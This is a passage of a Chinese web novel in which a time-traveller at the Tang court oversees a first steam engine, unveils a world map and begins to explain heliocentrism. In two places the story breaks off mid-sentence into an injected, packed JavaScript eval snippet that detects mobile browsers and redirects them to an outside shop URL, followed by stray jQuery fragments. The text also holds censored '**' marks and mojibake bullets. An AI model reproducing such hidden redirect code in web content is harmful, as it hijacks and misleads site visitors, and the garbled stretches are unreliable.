舟车馆的工棚里,摆满了各种舰船模型和马车部件模型,郑海、鲁平等人拿着规尺,激烈争论着某种新船型的帆面曲度和龙骨比例。
军械馆守卫森严,里面不时传来沉闷的**声和金属撞击声。农工馆的试验田里,种植着来自不同地区的稻麦品种,田丰带着人仔细记录着长势。医道馆则弥漫着药香,华九针正在小心翼翼地用李瑾描述的人体结构草图,对照着一些动物解剖,向几位挑选出来的、胆子大的生员讲解……
李瑾时常漫步于各馆之间,有时参与讨论,解答一些关键概念(他小心翼翼地引导,而非直接给出超越时代太多的答案),有时只是静静观察。他看到生员们眼中闪烁的求知光芒,看到博士们为某个问题争得面红耳赤,看到工匠们用粗糙的手,在纸上画出精细的图纸……
他知道,这条路还很长,会遇到无数的困难、非议甚至反复。但种子已经播下,分科而授的体系已经建立,探索的火炬已经点燃。这八大学馆,就像八条刚刚疏通的溪流,虽然细小,却方向明确,终将汇成推动时代巨轮前进的洪流。科学的幼苗,正在这前所未有的、系统化的培育下,开始缓慢而坚定地生长。
第243章 蒸汽初鸣
格物院八大学馆的设立,如同在旧有知识体系的池塘中投入了巨石,涟漪正一圈圈扩散开来。算学馆的沙盘计算声,格物馆的实验碰撞声,化机馆的炉火煅烧声,地舆馆的星图测绘声,舟车馆的模型推演声,军械馆的沉闷试射声,农工馆的稻穗摩挲声,医道馆的药碾滚动声……这些声音交织在一起,形成了一种奇特而充满生机的韵律,回荡在洛水之滨这片新辟的学术领地上空。然而,在看似纷繁的研究方向中,李瑾心中,一个终极目标始终如灯塔般指引着方向——动力。
人力、畜力、水力、风力……这些传统的动力源,或受限于人畜的耐力与数量,或受制于地理与季节,已越来越难以满足他脑海中那宏伟蓝图的驱动需求。更大、更快的远洋战舰,更高效的矿山提水、矿石粉碎,更强大的机床驱动,乃至未来可能出现的陆地载具……这一切,都需要一种更强大、更稳定、更可控的动力。他知道答案——蒸汽。
然而,从“知道”原理,到将其转化为实际可用的机械,中间横亘着材料、工艺、密封、传动、控制等一系列巨大的鸿沟。直接抛出成熟的蒸汽机图纸是荒谬且危险的,那超越了时代太多,如同给原始人看喷气发动机。他需要做的,是引导这个时代的智者与巧匠,沿着一条符合认知规律的道路,自己去探索、发现、解决那些必然会出现的问题,让“蒸汽之力”的概念,如同种子,在这片名为“格物院”的土壤中,自然而然地萌芽、生长。
这一日,李瑾召集了格物馆馆主清玄子、化机馆馆主章焕、舟车馆馆主郑海和鲁平,以及算学馆馆主赵玄默,在新建成的、位于格物院核心区域的“论道堂”内,举行了一次小范围、高密度的研讨。论道堂陈设简朴,中央一张巨大的硬木长桌,四周墙壁上挂着各种图纸和模型,气氛肃穆而专注。
“今日请诸位前来,是想探讨一物之力。”李瑾没有绕弯子,示意亲卫抬上一个盖着麻布的小型铜制装置。揭开麻布,露出一个造型奇特的铜器:下方是一个密闭的铜制圆球,上方连接着一根弯曲的铜管,铜管另一端则对准一个带有叶片、可以灵活转动的小轮。铜球下方有一个开口,似乎可以添柴加热,侧面还有一个带着螺旋阀门的细管。
“此物,暂名‘验汽转轮’。”李瑾指着这个简陋的装置,“其理甚简:于这铜球内注水少许,下以炭火加热,水沸化为蒸汽。蒸汽自这铜管喷出,冲击叶片,则可驱动此轮转动。”
原理确实简单。在座几人,都是当世在各自领域最富探索精神的人物,对水沸化汽、汽遇冷复凝为水的现象并不陌生,甚至清玄子在炼丹时,就常用类似装置(原始的蒸馏器)来收集“华池玉液”(蒸馏水)。但他们从未想过,这“汽”的力量,除了将壶盖顶起,除了用来炼丹,还能用来驱动轮子转动,做“功”。
“水汽之力,竟能如此?”郑海是资深船工,立刻联想到风帆,“若此轮可被汽力驱动,是否意味着,无风之时,舟船亦可自行?或可驱动更大、更复杂之器械,如提水之车,锻打之锤?”
“正是此意。”李瑾赞许地点头,“然,欲使其为我所用,需明其理,克其难。首要便是,这蒸汽之力,究竟有多大?如何度量?与水量、火候、铜球大小、喷管粗细,有何关联?”
这是典型的“格物”问题。清玄子眼睛一亮,他最近正带领弟子们研究力与运动的关系,用杠杆、滑轮、斜面做实验,试图量化“力”的概念。“大帅所言极是!力有大小,需有度量。下官观此物,水沸为汽,体积剧增,撑于铜球之内,无处可去,其力必大。然究竟多大,需以实验测之。或许……可于铜球喷管处,设法测量其推力?”
赵玄默立刻接口:“既涉测量,便需算学。可先设定不同水量、不同火候(炭火多寡、时间长短),测量每次能驱动叶轮转动之圈数,或……在喷管对侧置一标尺与弹簧(或重物),看其能将重物推起多高,以此间接推算力之大小。此中变化,需记录成表,寻找规律。”
章焕则从材料和制造角度考虑:“水沸化汽,其力甚大,恐非寻常铜铁所能久持。需选上等精铜,甚至尝试不同配比之合金,以增其强韧。这铜球与各处接缝,尤其阀门、喷管接口,需严密合缝,否则漏汽,力必大减。如何密封,乃是难题。或许可尝试以铅锡之属,或软木、浸油麻绳,填充缝隙?”
鲁平是木匠出身,对传动和结构更敏感:“此轮转动,若想带动他物,需有轴、有齿。如何将轮之转动,平稳、有力地传递出去?齿轮之大小、齿数、咬合,皆需精密计算与打造。且这蒸汽时有时无,力有大小,如何使其转动均匀,而非骤动骤停?”
众人你一言我一语,原本模糊的概念,在讨论中迅速变得具体,一个个关键的技术难点被提了出来:力的测量与量化、材料强度与耐压、密封技术、传动机构、热能效率、安全控制……这些都是蒸汽机从“玩具”走向“实用”必须跨越的障碍。
李瑾心中欣慰,这正是他想要的效果。他并不直接给出答案,而是引导他们思考方向:“诸位所虑,皆切中要害。此事非一日之功,更非一馆之力可成。需各馆通力协作。”
他看向清玄子和赵玄默:“格物馆与算学馆,当为首要。清玄道长,你可率精干弟子,专设一‘力、热探究组’,以此‘验汽转轮’为基础,设计系列实验,探究水汽转化之力与温度、压力、体积之关系,尝试定义、测量‘压力’、‘温度’、‘功’之概念与单位。赵馆主,算学馆需全力配合,设计实验数据记录之法,推演公式,务必使此力可被计算、预测。”
“下官领命!”清玄子和赵玄默齐声应道,眼中闪烁着发现新天地的兴奋光芒。
“章大匠。”李瑾转向化机馆馆主,“材料与密封,是此物能否实用之关键。你需率‘金铁冶炼组’与‘物性探究组’,尝试冶炼更强韧、更耐压、更耐热蚀之铜铁合金。同时,广寻天下可用于密封之物料,无论是金石、胶漆、织物,逐一测试其耐热、耐压、密闭之性能,寻求最佳方案。”
“小人明白!定当穷搜博试!”章焕用力点头,这对他来说是个全新的挑战。
“郑老、鲁师傅。”李瑾最后看向舟车馆的两位,“待格物馆测出蒸汽力量之大概,化机馆寻得合用材料与密封之法后,便需你等出手,设计真正可用于提水、鼓风甚至驱动小舟的‘实用蒸汽机’原型。如何将往复之汽力转化为平稳之旋转?如何设计锅炉、汽缸、活塞、连杆、飞轮?此中机械结构,千头万绪,全赖二位巧思。初始不必求大、求全,但求能稳定运行,验证可行。”
郑海和鲁平对视一眼,都看到了对方眼中的凝重与跃跃欲试。“大帅放心,只要那‘汽力’足够,我等必绞尽脑汁,造出能干活儿的家伙来!”
一个跨馆联合的“蒸汽机研制组”就此秘密成立,由李瑾亲自督导,清玄子、章焕、郑海三人具体负责。格物院最精干的力量,开始向这个看似“奇技淫巧”、实则可能撬动时代的方向汇聚。
研究是枯燥而充满挫折的。最初的“验汽转轮”原型,在首次公开演示时,就给了众人一个下马威。铜球内的水被烧沸,蒸汽从喷管喷出,确实推动了叶轮转动,但转速慢得可怜,且只转了几圈就无力为继。检查发现,铜球焊缝处有细微渗漏,喷管设计也不合理,蒸汽喷出时分散无力。
清玄子带着弟子们,开始系统地记录每次实验的水量、炭火量、加热时间、叶轮最终转数,并尝试在喷管出口加装不同形状的“喷嘴”,又设法在铜球内放入一个小活塞,活塞连杆伸出连接一个小秤砣,通过秤砣被顶起的高度来粗略估算内部压力。他们引入了“刻度”的概念,在铜球外壳上刻画简易的温度标尺(基于水在不同热度下的表现,虽然很不精确),并尝试用动物的膀胱薄膜蒙在喷口,观察其鼓胀程度来感知压力变化。这些方法原始而粗糙,却是迈向定量研究的可贵第一步。
赵玄默的算学馆则为此设计了专门的记录表格,并试图用算筹和初步的代数符号,来拟合实验数据,寻找压力、温度、水量之间的数学关系。他们引入了“分”、“寸”、“斤”、“两”等现有单位来描述力、距离、重量,但很快发现不够用,清玄子等人开始创造一些临时性的、描述性的“单位”,如“一沸之力”(标准水量沸腾产生的压力)、“一寸推重”(蒸汽能将一斤重物推动一寸远所做的“功”)。虽然混乱,但毕竟开始了“度量”的尝试。
章焕的化机馆则变成了“材料实验室”和“密封实验室”。他们尝试了不同比例的青铜、黄铜,甚至少量尝试加入锡、铅、锌,在小型锻炉中反复熔炼、浇铸、锻打,然后制成小铜球进行“爆裂测试”——不断加热加压,直到铜球炸裂,记录能承受的加热时间和最终状态,以此比较材料强度。他们还搜集了鱼胶、生漆、桐油、蜂蜡、浸油麻丝、软木片、甚至捣碎的黏土与石墨混合物,制成各种垫片、填料,测试其在高温蒸汽下的密封性能和耐久性。失败是家常便饭,铜球炸裂的闷响时常在化机馆的隔离工棚内响起,浓烟和蒸汽弥漫,弄得匠人们灰头土脸,但每一次失败,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086403|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都排除了一个错误选项。
郑海和鲁平也没闲着。他们根据格物馆初步测算的“汽力”数据(虽然还很不可靠),开始用木头和硬纸制作各种传动机构的模型:曲柄连杆如何将活塞的直线运动变成旋转?飞轮如何储存能量使转动更平稳?齿轮组如何变速?他们用绳子、木销、鱼胶反复组装、调试,思考着每一个零件的形状、强度、摩擦。舟车馆的工棚里,摆满了各种奇形怪状的木质机械模型,吱吱呀呀地转动着。
时间在反复的实验、失败、讨论、改进中流逝。麟德九年的秋天,格物院外的洛水两岸枫叶如火,而院内“蒸汽机研制组”的工坊里,温度也随着一次次的炉火试验而升高。
经历了至少三次大的设计迭代、数十次小的改进和无数次的失败后,一个勉强能称之为“原型机”的装置,终于被组装起来。它仍然简陋得可怜:一个用新配比的“高锡青铜”铸造、经过反复锻打加固的卧式圆柱形“锅炉”,容积大约相当于两个水桶;锅炉一端密封,另一端装有经过精心打磨、配合了浸油麻绳和软铜垫圈的活塞与汽缸;简单的连杆和曲轴将活塞与一个沉重的木制飞轮连接;锅炉上方有注水口和安全阀(一个用配重压住的简易阀门),下方是炉膛;整个装置被固定在一个沉重的木架子上,以防止它把自己“震散架”。
“开始吧。”李瑾站在稍远的安全距离外,平静地下令。清玄子、章焕、郑海、鲁平、赵玄默等人围在周围,神情紧张而期待,如同等待着新生儿的第一声啼哭。
一名学徒颤抖着手,向锅炉内注入定量清水,旋紧注水口。另一名学徒在炉膛内点燃了木炭和焦煤的混合物。火焰升腾,热量开始透过青铜壁,传递给内部的水。
等待的时间显得格外漫长。只有炉火燃烧的噼啪声,和锅炉内部开始隐约响起的、如同叹息般的“咕噜”声。所有人都屏住呼吸,紧盯着那个粗糙的活塞和沉重的飞轮。
“嗤——嗤——”
一种不同于水沸的声音开始出现,那是蒸汽在狭窄的汽缸内推动活塞的摩擦声。活塞杆开始极其缓慢、带着巨大阻力的、一顿一顿地向后移动!连杆被拉动,笨重的曲轴在巨大的摩擦下,发出令人牙酸的“嘎吱”声,开始极其艰难地转动!
一圈……两圈……
飞轮,那个沉重的木制飞轮,仿佛被无形的巨手推动,开始以肉眼可见的速度旋转起来!虽然缓慢,虽然每转一圈都伴随着金属摩擦的刺耳噪音和整个木架的剧烈颤抖,仿佛下一刻就要散架,但它确实在转!在没有人力、畜力、风力、水力直接驱动的情况下,仅仅依靠燃烧的火焰和沸腾的水产生的蒸汽,它转动了!
“动了!真的动了!”郑海激动地抓住鲁平的胳膊,鲁平则死死盯着那转动的飞轮和复杂的连杆,口中喃喃计算着什么。
清玄子顾不得炉火的热浪,凑到近前,仔细观察着活塞的行程、蒸汽的泄漏情况(仍有少量白汽从活塞杆的密封处冒出),并示意弟子记录下飞轮的转速(用旁边一个简易的滴漏水钟和计数杆来估算)。
章焕更关心他的材料和密封,紧张地检查着锅炉的焊缝和各个接口。
赵玄默则快速在心算着:大致的水量、燃烧时间、飞轮的重量和转速……他在试图估算这台原始机器输出的、极其微小的“功率”。
李瑾看着这台粗糙、吵闹、低效、随时可能解体的原始蒸汽机,心中涌起的,却是一种难以言喻的激动。这不仅仅是一台机器。这是“力”被有意识地驯服、转换、利用的第一个蹒跚脚步。是人类从依赖生物能和自然能,迈向主动掌控、转化、大规模利用热能的第一步。是工业时代,那遥远而模糊的汽笛声,在公元7世纪的大唐洛阳,发出的第一声微弱、却注定将震撼世界的初鸣。
“记录下来。”李瑾的声音在工坊的噪音中依然清晰,“今日,麟德九年九月十七,午时三刻,于格物院‘力、热探究组’工坊,首台‘验汽做功机’原型,成功以蒸汽之力,驱动飞轮持续转动……计一刻钟,凡转二十三周半。”
他顿了顿,看着周围那些因为激动、烟熏和紧张而满脸通红的人们,加重了语气:“此非终点,仅为起点。其力尚微,其效甚低,其体笨拙,其用未彰。然,蒸汽之力可用,此理已明。前路漫漫,诸位,辛苦了。然,此机初鸣之日,或为我大唐,开万世未有之新声之始。”
炉火映照着人们汗津津的脸庞,那台粗糙的机器仍在发出不屈的、嘎吱作响的转动声,如同一个蹒跚学步的巨兽,宣告着一个全新时代的、微茫却无比坚定的曙光。
第244章 瑾绘世界图
蒸汽机的第一声粗砺鸣响,被严格限制在格物院深处那间戒备森严的工坊之内,除了少数核心参与者,外界对其几乎一无所知。那台笨重、低效、冒着滚滚白汽和刺耳噪音的原型机,在李瑾眼中是划时代的初啼,在大多数不明就里的院工甚至部分官员看来,或许只是个耗资不菲、动静挺大的“奇巧喷汽玩具”。然而,另一项同样在格物院内紧锣密鼓进行,但其成果注定将更直观、更震撼、影响更为深远的工作,已接近完成,即将以一种无声却雷霆万钧的方式,呈现在帝国最高决策者面前,并悄然改变这个时代对自身、对天下的认知。
这项工作,便是“天下舆图”的重绘与校正,其核心成果,是一幅被李瑾暂命名为《坤舆万国全览草图》的巨幅地图。主持其事的,自然是地舆馆馆主陆明远及其麾下精干团队,但真正的灵魂与总设计师,是李瑾。
地舆馆自成立以来,便承担着整合、勘校、测绘天下地理信息的重任。陆明远本就是兵部职方司的干才,精于测绘舆图,深知一幅精准地图对军事、**、经济的巨大价值。他带领馆中从司天台、鸿胪寺、水师、边军以及各地招募来的精通地理、算术、测绘的人员,夜以继日地工作。他们整理了大唐官藏的所有舆图、地理志、地方图经,调阅了兵部存档的**、水师的海图、往来商旅的行程记,甚至重金求购波斯、大食、天竺商人手中的零碎地图和航海日志。来自新近征服的倭岛、百济、高句丽等地的地理信息也被迅速补充进来。
然而,随着资料越堆越高,矛盾与困惑也越来越多。不同时代、不同来源的地图,对同一地区的描绘往往大相径庭;里程道里记载混乱,或夸大,或缺失;方向、比例严重失真;对大唐以外的世界,描述更是光怪陆离,充斥着神话传说与道听途说。传统的“计里画方”之法,在如此浩瀚庞杂的信息面前,显得力不从心。陆明远团队陷入了资料海洋的泥潭,进展缓慢。
就在这时,李瑾带着一套全新的理念和方法,介入了地舆馆的工作。
首先,是确立基准与投影。李瑾摒弃了传统地图中心唯我独尊、随意缩放的做法。他在地舆馆最大的绘图厅中央,竖起了一块巨大的、经过精细打磨的木板,涂上特制的白垩底料。他亲自用规尺和墨线,在木板上打出了细密的经纬网格。以洛阳观测点的北极星高度(他称之为“纬度”),结合历代天文观测和最新测量数据,大致确定了本初子午线(经过洛阳)和赤道,将地球(他首次在馆内核心人员中明确提出了“大地如鸡子,悬于空中”的球形概念,虽未公开宣扬,但作为工作前提)表面投影到平面上。这并非严格的墨卡托投影(那需要更复杂的数学),而是一种简化的、近似圆柱投影,旨在尽可能减少高纬度地区的变形,并让不同地区的相对位置和距离,有一个相对统一的参照系。
“地图之要,首在比例与方位。”李瑾用炭笔在网格上点出几个关键点,“以我大唐两京为中心,依据确凿的驿站里程、河道长度、边防军报,结合星象测量,先固定我朝疆域之轮廓。再以已知的可靠地点,如安西都护府治所、登州港、广州港、吐蕃逻些(拉萨)大致方位、倭国难波津、新罗金城等为锚点,向外辐射推演。”
其次,是信息的筛选与校勘。面对堆积如山的、互相矛盾的信息,李瑾提出了一个简单而有效的原则:“重实证,轻传闻;重实测,轻臆测;多源互证,存疑阙如。”他指导地舆馆人员,对每一条地理信息进行分类、评级:
?6?1甲等:朝廷官方测绘(如《十道图》核心区域)、兵部军镇勘界、水师实测航道、钦天监天文测量数据。
?6?1乙等:可靠商旅行程记录(有明确里程、方位、物产描述)、使臣出使报告、可信的地方志。
?6?1丙等:僧人求法行记、文人游记、前代地理书(如《汉书·地理志》、《水经注》)。
?6?1丁等:神话传说、志怪笔记、海外奇谈、明显夸张的记述。
甲、乙等资料优先采用,作为骨架;丙等资料谨慎参考,多方印证;丁等资料,除非有极强的合理性或能与其他信息相互印证,否则仅作备注,或直接弃用。对于矛盾之处,则标注出来,留待日后新的探索验证。
再次,是引入量化与标准化。李瑾统一了长度单位,规定以“大唐里”(约540米)为标准,并细分为“步”、“尺”、“寸”,要求在地图标注和说明文字中,尽可能使用量化数据。他指导制作了标准图例,用不同符号和颜色·区分国都、州府、县城、关隘、山川、河流、湖泊、海岸、森林、沙漠、道路、航道等。对于不确定的区域,用虚线或淡色表示;对于完全未知的区域,则坦诚地留白,或标注“传闻有……”、“未知之地”。
最后,也是最大胆的一步,是李瑾凭借超越时代的记忆,对全球轮廓进行“合理推测”与引导。他不能直接画出精确的世界地图,那无法解释。但他可以“根据古籍记载、海商传闻、天文推演以及前代张骞、甘英、法显等人的见闻”,提出一套逻辑自洽的“天下大势猜想”,并以此指导地舆馆的人员,在已有可靠信息的基础上,向外延伸勾勒。
“诸位且看,”在一次地舆馆核心人员的“图稿校正会”上,李瑾指着已绘出大致轮廓的东亚部分,手持细木杆,点在长江、黄河入海口,“自秦汉乃至本朝,我华夏舟船,南下可至交趾、日南,乃至更南的‘涨海’(南海),与林邑、真腊、扶南等国通商。海商传闻,过‘涨海’后,有一巨大半岛,其形如象鼻(印度半岛),其地炎热,物产丰饶,即天竺所在。天竺之南,更有浩瀚大洋。”
木杆向西,划过西域:“自汉之张骞凿空,已知西域之外,尚有康居、大夏、安息、条支。前朝及本朝与波斯、大食往来,知其国西临大泽(地中海),其西尚有拂菻(拜占庭帝国)等国。再往西,是否仍为陆地,或为更大之海,尚未可知。”
接着,木杆以洛阳为中心,向东北、正北、西北画了大弧:“北方,匈奴、突厥、回纥、黠戛斯诸部逐水草而居,其北有瀚海(贝加尔湖),再北则极寒,传闻有‘北海’、‘冰海’,人或以为乃天地之极。然,据极北夜行商旅模糊记述,过冰海或为另一片大地,此事渺茫,暂且存疑。”
然后,是最关键、也最令人遐想的东方和东南方:“我大军新征之倭国,乃东海大岛。倭国以东,据其渔民漂流所闻,常有黑潮(日本暖流)东去,茫无际涯。有古籍云,东海之外有‘扶桑’,日出之地。亦有海商传言,曾遇飓风,漂荡数月,见巨鸟、异兽,登陆之地有土人,与中原迥异,其地产巨木、异兽、疑似玉蜀黍(玉米)之作物……此皆零星传闻,难辨真伪。然,依天文与海流推之,东海之东,大洋浩瀚,彼岸或有广袤陆地,其大小或许不亚于华夏。吾暂名之为‘新陆’,以待验证。”
最后,木杆指向巨大的空白南部海域:“自岭南、安南以南,海岛星罗棋布,是为‘南洋’。其地盛产香料、珍珠、玳瑁、苏木。过南洋诸岛继续南行,是否仍为岛屿,或连成一片巨大陆地?海商有云,其南有‘尾闾之地’,炎热多瘴,有巨蜥、袋鼠等异兽……此亦需探查。”
李瑾的讲述,结合地舆馆已经整理出的相对可靠的已知区域信息,为那大片未知的空白,提供了一个充满诱惑力又逻辑上似乎能自洽的猜想框架。他不是“知道”,而是“推测”,但这种推测建立在部分事实和“合理”推演的基础上,对于陆明远这些已经接触到大量混乱信息、亟待一个“总图”来统合理解的学者来说,具有极强的说服力和指导性。
于是,在长达数月的反复校正、推演、争论、绘制之后,这幅前所未有的巨图,渐渐在绘板上显现出轮廓。
图成之日,李瑾特许地舆馆全体人员,以及格物院其他学馆的馆主、核心博士,一同进入绘厅观瞻。
当覆盖在绘板上的巨大素绢被缓缓揭开时,尽管许多人已参与其中,仍被眼前的景象震撼得鸦雀无声。
绘板高约一丈,宽近两丈。细腻的工笔,严谨的线条,丰富的色彩,将一片前所未见的广阔天地,呈现在众人面前。
图的中心,自然是雄鸡形状的大唐疆域,山河形胜,州县罗列,黄河长江如动脉奔流,长城如巨龙蜿蜒,描绘得最为精细准确。辽东、朝鲜半岛、倭国(被标注为“倭岛都督府”)清晰地拱卫在侧。
向西,是广袤的西域,标注着安西、北庭都护府,以及依稀的波斯、大食、拂菻(轮廓相对模糊,但大致方位正确)。一条清晰的“丝绸之路”虚线贯穿东西。
向南,是复杂的南洋群岛,虽然许多岛屿的形状、大小未必准确,但重要的航道、已知的王国(如室利佛逝、诃陵)已被标出。更南,是一片巨大的、轮廓不甚清晰的陆地,被标注为“南方巨陆(疑)”,旁边用小字注着“多热瘴,有异兽,土人黝黑”。
向东,越过倭国和一片标有“黑潮”的蓝色·区域,是一片无垠的、代表海洋的蔚蓝,在遥远的东西,有一片轮廓极为模糊、被虚线勾勒的陆地,上书两个醒目的大字:“新陆”,旁边画着简略的玉米、某种块茎(土豆)和辣椒的图案,并注:“据漂流者传闻,其地广袤,物产迥异,有待探查。”
北方,是辽阔的草原、沙漠和森林,标注着突厥、回纥、黠戛斯等部族名称,更北是“北海”(贝加尔湖)和一片代表极寒的白色·区域“冰原(传闻)”。
最令人震撼的,是覆盖整个图面的、细密而整齐的经纬网格,以及图旁详细的图例、比例说明(“一寸合百里”)、方位标(清晰的八个方位)。图的下方,还有长达千言的《图说》,阐述了此图
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086404|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的绘制原则、资料依据、对未知区域的推测理由,并坦诚指出了图中许多地方是基于不完整信息的“合理推测”,恳请“后来贤达,据实补正”。
“这……这便是天下?”算学馆馆主赵玄默扶了扶眼镜(李瑾让人用水晶磨制的简易凸透镜片),声音有些发颤。他精通算术,能理解这网格和比例的意义,但第一次如此直观地“看到”大唐在世界中的位置——并非孤悬于“天下”中心,被蛮荒包围的“天朝上国”,而是位于一片巨大大陆的东部,西、北、南三面皆有广袤土地或海洋,东方更是横亘着难以想象的浩瀚大洋和未知大陆。
舟车馆的郑海,目光死死盯住那些蜿蜒的海岸线和标出的航道、洋流,呼吸急促。他看到了从登州、扬州、泉州、广州延伸出去的、如同触角般的航线,南下南洋,西去天竺、大食,甚至有一条虚线,倔强地指向东方的“新陆”。一种混合着激动与敬畏的情绪在他胸中激荡。
“大帅,”陆明远作为主要绘制者,此刻也难掩激动,指着地图道,“依此图观之,我大唐虽疆域**,然这天下之大,犹有过之!四海之外,竟有如此广阔天地!”
李瑾肃然道:“此图非为炫耀,实为警醒,亦为指南。警醒者,使我辈知天地之广,不敢坐井观天,妄自尊大。指南者,为我大唐舟师商旅,劈波斩浪,探索寰宇,指明方向。图中许多地方,尚属推测,有待验证。地舆馆日后重任,便是搜集更多航迹、见闻,不断修正、完善此图,使其日益精准。此图,当命名为《坤舆万国全览草图》,‘草图’二字,便是明示其未臻完善,需世代增补。”
他环视众人,声音在空旷的绘厅中回荡:“今日之后,当依此草图,以更佳绢帛、颜料,绘制多幅副本。一幅最大最精者,进献陛下、天后,悬于宫中,使圣明天子,洞见天下大势。其余副本,藏于地舆馆,并分送兵部、水师都督府、市舶司、鸿胪寺,以为国策参考。然,图中涉及海外航路、未知地域之细节,需严格控制,不得外泄,以防为外人所乘。”
几天后,紫微宫,贞观殿。
当那幅巨大的《坤舆万国全览草图》在殿中被缓缓展开时,即便是见多识广的皇帝李治和天后武媚娘,也被深深震撼了。随同观图的宰相、重臣们,更是发出一片压抑不住的惊呼和窃窃私语。
他们看到了前所未见的广阔世界,看到了大唐在其中的位置,看到了那些标注着香料、黄金、新奇物产的遥远土地,也看到了那需要浩瀚大洋才能抵达的、充满神秘诱惑的“新陆”。
武媚娘凤目灼灼,看了许久,才缓缓吐出一口气,对侍立在侧的李瑾道:“三郎,此图……果真?”
“回天后,”李瑾躬身道,“图中我朝疆域及周边藩国,多为实测、可靠记载,力求精准。其余辽远之地,乃据古籍、海商、使臣、漂流者之记述,结合天文、海流推演所得,乃合理之推测,虽不尽精确,然天下大势,应不离其宗。此图之意,在于开眼界,明方位,知不足,励远图。”
李治靠在御榻上,略显浑浊的眼睛盯着地图,特别是东方那片代表“新陆”的模糊轮廓,良久,轻轻叹道:“天地之大……朕今日方知,坐井观天矣。”
一位老成持重的宰相指着地图上大片大片的空白和虚线,疑虑道:“太子太师,此图固有振聋发聩之效,然其中推测臆想之处颇多,若以此定国策,是否过于……虚妄?”
“非为定策,实为指路。”李瑾从容答道,“譬如行路,先需知方向。此图便是方向。具体路径,需一步步探索。至少,它告诉我等,天下之大,远超想象;资源之丰,遍及四海;航路之遥,虽有风险,亦有巨利。我大唐欲国祚永昌,威加四海,非固守一隅可成,当有囊括寰宇之胸怀,探索未知之胆魄。水师之建,格物之兴,海商之励,皆为此也。”
武媚娘击掌赞道:“善!此图,当悬于殿中,使我君臣,时时常看,不忘四海之志!”她目光扫过地图上那些标注着物产的遥远地域,又看了看东方的“新陆”,最后落回那支已延伸出海的虚线箭头,眼中闪烁着与李瑾同样的、属于开拓者的光芒。“倭国之金,已入囊中。然天下之大,岂止一倭国?此图,便是猎场之图!”
《坤舆万国全览草图》的出现,如同一块巨石投入平静的湖面,在帝国高层和格物院内部激起了难以平息的波澜。它不仅仅是一张地图,更是一份宣言,一个蓝图,一种全新的、充满进取·精神的世界观。它无声地告诉这个时代最顶尖的一群人:世界很大,大唐并非唯一,也非终点。未来,在海上,在远方。
地舆馆的灯火,从此熄灭得更晚了。更多的人开始钻研星象、海流、测量之术。而那幅草图,则像一个无声的召唤,吸引着无数颗渴望探索、渴望征服、渴望财富与荣耀的心,望向洛阳宫殿的方向,望向大海的尽头。
第245章 论日心之说
《坤舆万国全览草图》如同一颗投入思想深潭的巨石,在帝国上层和格物院内部激起的波澜尚未平息,另一种更为根本、更具颠覆性的认知冲击,已经开始在李瑾的引导下,于格物院地舆馆和算学馆的精英圈层中,悄然酝酿。这一次,挑战的对象不再是地理疆域的认知,而是直指这个时代宇宙观的核心——天与地的关系。
地舆馆顶层的观星台上,新制的青铜大型“璇玑玉衡”(改良的浑仪)在月光下泛着幽光。馆主陆明远、算学馆馆主赵玄默,以及几位精于天文历算的博士、直院,正围在李瑾身旁,聆听他讲述一幅更为惊人的图景。空气中弥漫着一种混合了兴奋、困惑与隐隐不安的躁动。
“诸位皆知,我辈观测日月星辰,制定历法,皆以‘浑天说’为根基,以为天如鸡子,地如卵黄,孤居天内,载水而浮,天体绕地旋转,而成昼夜四季。”李瑾的声音平静,却字字千钧,“此说沿用数百年,用以解释日常天象,编制历书,大体可用。然,近年来,司天台观测日食月食、五星行度,尤其是金星、火星之轨迹,用浑天旧说推算,常有细微偏差,需设诸多‘均轮’、‘本轮’补救,计算繁复无比,且年深日久,偏差有累积扩大之势。诸位精于此道,当有体会。”
陆明远和赵玄默等人面面相觑,缓缓点头。司天台编制历法,尤其是推算交食、五星凌犯等“天变”,是关系到王朝天命、祭祀礼仪的大事,半点差错不得。但传统浑天体系模型,在解释行星(尤其是内行星金星、水星)的“逆行”、“留”等复杂视运动时,确实需要叠加越来越多、越来越复杂的虚拟圆周运动(均轮、本轮)来拟合观测数据,使得计算异常繁琐,且总有难以完全吻合的“误差”。这是困扰历代天文官和历算家的心病。
“太子太师的意思是……”赵玄默谨慎地问道,他心中已隐隐猜到李瑾要说什么,因为这并非李瑾第一次在私下提及“另类猜想”。
李瑾没有直接回答,而是示意随从抬上一个他让人秘密制作的、相对精巧的木质模型。模型中央是一个较大的木球,代表太阳,被固定在支架上。围绕这个大木球,有几个大小不一的木球,用不同长度的细铜杆连接,沿着不同的圆形轨道(黄道面上)缓缓转动,分别代表水星、金星、地球(一个标有模糊陆地块的小球)、火星、木星、土星。在地球旁边,还有一个更小的球代表月亮,绕着地球旋转。整个模型可以通过一个曲柄摇动,演示这些“星体”的相对运动。
“此模型所示,乃另一番构想。”李瑾缓缓摇动曲柄,让模型运转起来,“姑且称之为‘日心静地动说之雏形。”
“日心?”陆明远盯着模型中央那个静止的大木球,又看看围绕着它转动、包括那个标着“地”的小球,瞳孔微缩。
